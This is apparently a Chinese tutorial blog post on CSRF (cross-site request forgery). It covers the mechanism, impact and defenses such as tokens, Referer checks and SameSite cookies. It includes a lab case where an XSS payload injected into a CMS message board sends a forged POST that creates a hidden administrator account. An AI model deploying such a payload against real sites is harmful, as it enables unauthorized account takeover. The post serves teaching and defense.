CSRF 跨站请求伪造漏洞理解

news2024/11/26 4:25:05

1.漏洞描述

        跨站请求伪造是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作,攻击的重点在处于更改状态请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

2.漏洞原理

        攻击者可以伪造当前已经登录用户的身份访问正常的网站,执行非本意的操作。正常的网站,没有对来源请求进行严格的验证和过滤,导致攻击者可以伪造正常用户的请求,达到攻击的目的。        

3.漏洞场景

        在特殊场景下,客户端向服务器发起更改状态的请求,容易产生CSRF漏洞。

常见场景:

  • 银行转账
  • 修改密码

4.漏洞评级

⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐        高危

5.漏洞危害

攻击者借用正常用户的身份,发起更改状态的请求,如:

  • 银行转账
  • 修改密码
  • 修改邮箱
  • 群发消息
  • 与XSS漏洞结合创建网站后台管理员账号
  • ...

6.漏洞验证

7.漏洞利用

  • DVWA重置当前用户密码
  • CMS创建新管理员

8.漏洞防御

1)无效的防御:

  • 使用密码的Cookie。
  • 将接受POST请求。
  • 多步交易:多步交易,有可能会被恶意攻击者预测
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引用另一个漏洞解决当前漏洞
  • HTTPS:所以安全机制的前提。

2)有效的防御:

a.

验证Referer字段

  • 当前URL的上一个URL。
  • 转账页面到转账操作
  • 伪造?

b.

二次验证:在关键操作之前,在输入密码或者验证码。

c.

添加Token 验证:

d.

HttpOnly:某些情况下禁止 JS 脚本访问

e.

SameSite:Cookie 属性,浏览器自带安全机制。

9.典型案例

1)CMS创建新用户

方法:攻击者可以利用 XSS 触发 CSRF 攻击。因为,可以利用 JS 发送 HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.47.44/cms/admin/user.action.php",fal
se);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-
urlencoded");
xmlhttp.send("act=add&username=wj33333&password=123456&password2=123456
&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

前提:

我们发现CSM网站留言板存在xss漏洞

a.第一步:

  • 填写留言板并提交。

b.第二步:

  • 模仿管理员管理留言板。
  • 管理员登录账号

  • 查看留言板

到这里就已经完成了添加用户。

  • 查看管理员账号,发现是我们添加的账号

  • 登录

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1206364.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【GlobalMapper精品教程】064:点云提取(按范围裁剪)

本文讲解Globalmapper中进行点云数据提取(按范围裁剪)的方法。 文章目录 一、加载点云及范围数据二、点云裁剪三、注意事项一、加载点云及范围数据 加载配套实验数据包中的实验数据data064.rar中的point.las点云与bound.shp面状范围数据,如下图所示: 二、点云裁剪 接下来…

光明源@为什么需要智慧厕所,智慧厕所是干什么的?

在当今数字化时代&#xff0c;城市的发展日新月异&#xff0c;城市居民对生活品质和城市服务的期望也与日俱增。在城市规划和基础设施建设中&#xff0c;智慧厕所作为一项创新性的举措&#xff0c;正逐渐崭露头角。本文将探讨为什么需要智慧厕所以及它们的实际功能和意义。 城市…

OpenAI API-KEY如何获取购买,推荐使用卡密自助发货更方便

在信息爆炸的时代&#xff0c;人们面临海量信息的洪流&#xff0c;其中蕴含了无尽的知识和见解。AI垂直问答技术的兴起&#xff0c;应运而生于这一背景下。与传统的搜索引擎不同&#xff0c;垂直问答聚焦于特定领域&#xff0c;通过深度学习和自然语言处理技术&#xff0c;为用…

Xilinx Kintex7中端FPGA解码MIPI视频,基于MIPI CSI-2 RX Subsystem架构实现,提供工程源码和技术支持

目录 1、前言免责声明 2、我这里已有的 MIPI 编解码方案3、本 MIPI CSI2 模块性能及其优缺点4、详细设计方案设计原理框图OV5640及其配置权电阻硬件方案MIPI CSI-2 RX SubsystemSensor Demosaic图像格式转换Gammer LUT伽马校正VDMA图像缓存AXI4-Stream toVideo OutHDMI输出 5、…

巅峰之作TFN AMT系列手持式信号综合测试仪

手持式信号综合测试仪是对无线电信号进行测量的必备手段&#xff0c;是从事电子产品研发、生产、检验的常用工具。因此&#xff0c;应用十分广泛&#xff0c;被称为工程师的射频万用表。传统的频谱分析仪的前端电路是一定带宽内可调谐的接收机&#xff0c;输入信号经变频器变频…

LeetCode | 20. 有效的括号

LeetCode | 20. 有效的括号 OJ链接 这道题可以使用栈来解决问题~~ 思路&#xff1a; 首先我们要使用我们之前写的栈的实现来解决此问题~~如果左括号&#xff0c;就入栈如果右括号&#xff0c;出栈顶的左括号跟右括号判断是否匹配 如果匹配&#xff0c;继续如果不匹配&#…

11.13堆的各种操作算法,二叉树的一些性质

算法 二叉堆的上调 在树上进行的插入排序 。循环次数不会超过树的高度&#xff0c;即插入交换次数不会超过ologn&#xff0c;n是结点个数 要么到根节点&#xff0c;即i1结束&#xff0c;要么当前元素还比上面的元素小&#xff0c;直到不比上面的元素小&#xff0c;即h[i/2]&l…

Windows系统隐藏窗口启动控制台程序

背景 上线项目有时候需要一些控制台应用作为辅助服务来协助UI应用满足实际需求&#xff0c;这时候如果一运行UI就冒出一系列的黑框&#xff0c;这将会导致客户被下的不起&#xff0c;生怕中了什么不知名病毒 方案 可以使用vbs来启动&#xff0c;这个是window系统自带的&#…

(免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐

摘 要 本论文主要论述了如何使用Django开发一个校园宿舍管理系统&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论述校园宿舍管理系统的当前背景以及系统开发的目的…

简单地聊一聊Spring Boot的构架

本文由葡萄城技术团队发布。转载请注明出处&#xff1a;葡萄城官网&#xff0c;葡萄城为开发者提供专业的开发工具、解决方案和服务&#xff0c;赋能开发者。 前言 本文小编将详细解析Spring Boot框架&#xff0c;并通过代码举例说明每个层的作用。我们将深入探讨Spring Boot的…

asp.net实验管理系统VS开发sqlserver数据库web结构c#编程web网页设计

一、源码特点 asp.net 实验管理系统 是一套完善的web设计管理系统&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为vs2010&#xff0c;数据库为sqlserver2008&#xff0c;使用c#语言开发。 asp.net实验管理系统1 应用技术&am…

初学UE5 C++①

游戏类 1.创建所需项的类 2.创建游戏模式类&#xff0c;在该类上实现所需项&#xff0c;引入头文件和构造函数时实例化 三种时间函数类型函数和提示类型 FName、FString、FText类型相互转化 FName用FName FString用ToString&#xff08;&#xff09; FText用FText&#xff1a;…

【nlp】2.1 认识RNN模型

认识RNN模型 1 什么是RNN模型2 RNN模型的作用3 RNN模型的分类:1 什么是RNN模型 RNN(Recurrent Neural Network),,中文称作循环神经网络,它一般以序列数据为输入, 通过网络内部的结构设计有效捕捉序列之间的关系特征,一般也是以序列形式进行输出。 一般单层神经网络结构:…

SAP-SD-外向交货单交期不符

创建外向交货单时报错 销售订单的交期还没到&#xff0c;所以不能做外向交货单 但是货已经加工完成&#xff0c;现在想交货 查看销售订单的交货期为12月15日&#xff08;va03&#xff09; 在VL01N里修改“选择日期为12月15日”就可以了。

C与汇编深入分析

汇编怎么调用C函数 直接调用 BL main传参数 在arm中有个ATPCS规则&#xff08;ARM-THUMB procedure call standard&#xff09;&#xff08;ARM-Thumb过程调用标准&#xff09;。 约定r0-r15寄存器的用途&#xff1a; r0-r3&#xff1a;调用者和被调用者之间传递参数r4-r11…

一些可以参考的文档集合15

之前的文章集合: 一些可以参考文章集合1_xuejianxinokok的博客-CSDN博客 一些可以参考文章集合2_xuejianxinokok的博客-CSDN博客 一些可以参考的文档集合3_xuejianxinokok的博客-CSDN博客 一些可以参考的文档集合4_xuejianxinokok的博客-CSDN博客 一些可以参考的文档集合5…

7天入门python系列之第五天python项目练习

第七天 Python项目实操 编者打算开一个python 初学主题的系列文章&#xff0c;用于指导想要学习python的同学。关于文章有任何疑问都可以私信作者。对于初学者想在7天内入门Python&#xff0c;这是一个紧凑的学习计划。但并不是不可完成的。 学到第7天说明你已经对python有了一…

2.3 Windows驱动开发:内核字符串转换方法

在内核编程中字符串有两种格式ANSI_STRING与UNICODE_STRING&#xff0c;这两种格式是微软推出的安全版本的字符串结构体&#xff0c;也是微软推荐使用的格式&#xff0c;通常情况下ANSI_STRING代表的类型是char *也就是ANSI多字节模式的字符串&#xff0c;而UNICODE_STRING则代…

2.4 Windows驱动开发:内核字符串拷贝与比较

在上一篇文章《内核字符串转换方法》中简单介绍了内核是如何使用字符串以及字符串之间的转换方法&#xff0c;本章将继续探索字符串的拷贝与比较&#xff0c;与应用层不同内核字符串拷贝与比较也需要使用内核专用的API函数&#xff0c;字符串的拷贝往往伴随有内核内存分配&…

ffmpeg扩展支持H265视频流的flv封装

ffmpeg扩展支持H265视频流的flv封装 由于Adobe暂停了对RTMP/FLV标准的更新&#xff0c;所以目前标准中没有支持HEVC视频编码格式。为避免各终端和服务器间的兼容性问题&#xff0c;FFmpeg也没有在RTMP/FLV的协议实现中进行HEVC的相关扩展。CDN联盟制定了相关的协议扩展规范&am…